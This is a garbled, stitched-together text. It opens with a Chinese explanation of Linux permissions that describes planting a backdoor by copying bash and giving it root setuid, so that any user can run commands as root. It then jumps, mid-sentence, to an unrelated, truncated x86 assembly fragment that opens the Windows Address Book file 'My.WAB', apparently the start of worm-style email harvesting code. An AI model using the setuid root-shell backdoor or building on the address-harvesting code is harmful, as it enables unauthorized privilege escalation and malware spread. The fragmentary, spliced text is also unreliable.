众所周知，Linux的文件权限如: 777；666等，其实只要在相应的文件上加上UID的权限，就可以用到加权限人的身份去运行这个文件。所以我们只需要将bash复制出来到另一个地方，然后用root加上UID权限，只要用户运行此Shell就可以用用root的身份来执行任何文件了。下面来介绍一下文件权限的具体意义一个文件都有

586p .model flat,STDCALL .data MailFile db "My.WAB",0 .code extrn _lopen: proc,_lcreat: proc extrn _lread: proc,_lwrite: proc extrn _llseek: proc extrn _lclose: proc extrn MessageBoxA: proc extrn ExitProcess: proc extrn WideCharToMultiByte: proc start: call _lopen,offset MailFile,0 cmp eax,1 jz shor